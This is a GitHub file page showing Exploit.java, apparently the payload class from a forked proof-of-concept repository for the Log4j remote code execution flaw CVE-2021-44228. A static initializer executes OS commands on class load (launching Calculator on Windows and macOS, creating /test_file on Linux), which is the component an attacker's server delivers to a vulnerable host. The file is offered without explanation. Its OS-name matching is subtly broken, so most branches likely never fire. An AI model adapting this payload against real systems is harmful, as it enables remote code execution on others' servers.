forked from emrahkaya/CVE-2021-44228-Apache-Log4j-Rce
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathExploit.java
34 lines (31 loc) · 1.04 KB
/
Exploit.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import javax.sound.sampled.SourceDataLine;
public class Exploit {
public Exploit() {
}
static {
try {
String osName = System.getProperty("os.name").toLowerCase();
System.err.println("Os Name is " + osName);
String[] cmds;
switch (osName) {
case "win":
cmds = new String[] { "cmd.exe", "/c", "calc.exe" };
break;
case "linux":
cmds = new String[] { "touch", "/test_file" };
break;
case "macos":
cmds = new String[] { "open", "/System/Applications/Calculator.app" };
break;
default:
cmds = new String[] { "" };
}
java.lang.Runtime.getRuntime().exec(cmds).waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
Exploit e = new Exploit();
}
}